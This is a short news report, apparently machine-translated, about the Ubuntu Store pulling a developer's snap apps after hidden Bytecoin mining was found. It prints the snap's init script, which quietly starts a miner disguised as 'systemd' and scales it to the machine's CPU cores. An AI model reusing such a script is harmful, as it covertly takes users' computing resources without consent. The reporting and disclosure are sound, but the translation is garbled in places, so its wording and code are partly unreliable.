Ubuntu removes cryptomining apps from its store
The administrator of the Ubuntu Store has taken all the apps of the developer he signed as "Nicholas Tomb" out of his store, and his email signature reveals an apparent desire to cryptographically mine himself as a success.
Neither Mr. Tomb's "2048buntu" nor the "Hextris app is now available on the store, as the comments about 2048buntu were removed from Github. User Tarwirdur wrote: "This app contains hidden crypto mining apps inside it" (it is mining Bytecoin) How could this be reported.
Here is the code found by Tarwirdur (check the email signature in line 7).
squashfs-root / systemd - miner squashfs-root / start - init script: #!/bin/bash currency=bcn name=2048buntu {#try / snap / $ name / current / systemd -u myfirstferrari@protonmail.com - $ currency 1 -g } || {#catch cores =($(grep -c ^ processor / proc / cpuinfo)) (($ cores <4)); then / snap / $ name / current / systemd -u myfirstferrari@protonmail.com - $ currency 1 else / snap / $ name / current / systemd -u myfirstferrari@protonmail.com - $ currency 2 fi }
Canonical's Adam Collard responded, "Yes, we have removed all applications from this author pending further investigation. Thanks for the heads up! "
These applications are created using Ubuntu's "Snaps" tool, which packages the code so that all dependencies work smoothly and installs it using an automatic updater. Canonical created the Snaps program to try and simplify package deployment for Linux distributions.
Ride-alone mining apps are hard to spot: even those with cash and popularity such as Google and Apple miss these malicious apps from time to time. And the much smaller Canonical has the advantage of open source, offering a range of crook code detectors.